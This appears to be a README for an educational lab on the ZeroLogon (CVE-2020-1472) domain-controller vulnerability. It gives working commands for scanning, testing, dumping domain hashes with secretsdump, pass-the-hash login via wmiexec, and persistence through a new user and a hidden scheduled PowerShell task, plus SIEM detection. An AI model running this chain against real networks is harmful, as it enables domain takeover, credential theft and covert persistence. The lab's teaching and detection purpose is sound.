100hnomeunome/zerologon-cve-2020-1472-labExplicação e demonstração da vulnerabilidade ZeroLogon (CVE-2020-1472)
Explanation and demonstration of the ZeroLogon (CVE-2020-1472) vulnerability
The purpose of this lab is strictly educational. Its execution is not recommended in production environments or those that do not belong to you.
Context of the vulnerability
This vulnerability allows a cybercriminal to take control of a Domain Controller (DC). This is done by changing or removing the password of a service account on the controller. The malicious agent can either cause a denial of service or take full control and own the entire network. In August 2020, Microsoft released a patch.
Affected component: Microsoft Netlogon Remote Protocol (MS-NRPC)
Affected Windows versions:
Clone the repositories
If running locally!
On AWS it is also possible with these images (be careful with billing)
Extra: A Wazuh account for SIEM event analysis.
Tip: On Kali Linux, the SSH service is disabled by default — you need to start it manually.
Before testing if the server is vulnerable, we can use nmap to see which ports are open:
nmap -sS -T4 -F --open -n ip
Using CVE-2020-1472 - Test if target server is vulnerable. Run the command:
zerologon_tester.py <dc-name> <dc-ip>
The secretsdump tool is part of the Impacket toolkit
python3 secretsdump.py -just-dc wayne/w2008\[email protected]
python3 wmiexec.py wayne/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:088386eb6982d0c2f8960c26b1ff9e6c
If everything goes well, we will be able to log in using the hash What is a pass-the-hash attack?
Now just create persistence! It can be a new user!
net user coringa Batman2025 /add
Done! The user was successfully created!
It is also possible to create a task!
mkdir C:\Temp
schtasks /Create /TN "CriarBackupPS1" /TR "powershell -NoProfile -WindowStyle Hidden -Command \"New-Item -Path 'C:\Temp\backup.ps1' -ItemType File -Force -Value '# backup script'\"" /SC ONLOGON /RL HIGHEST /F
It is possible to see the creation of users and events related to pass-the-hash and user creation!
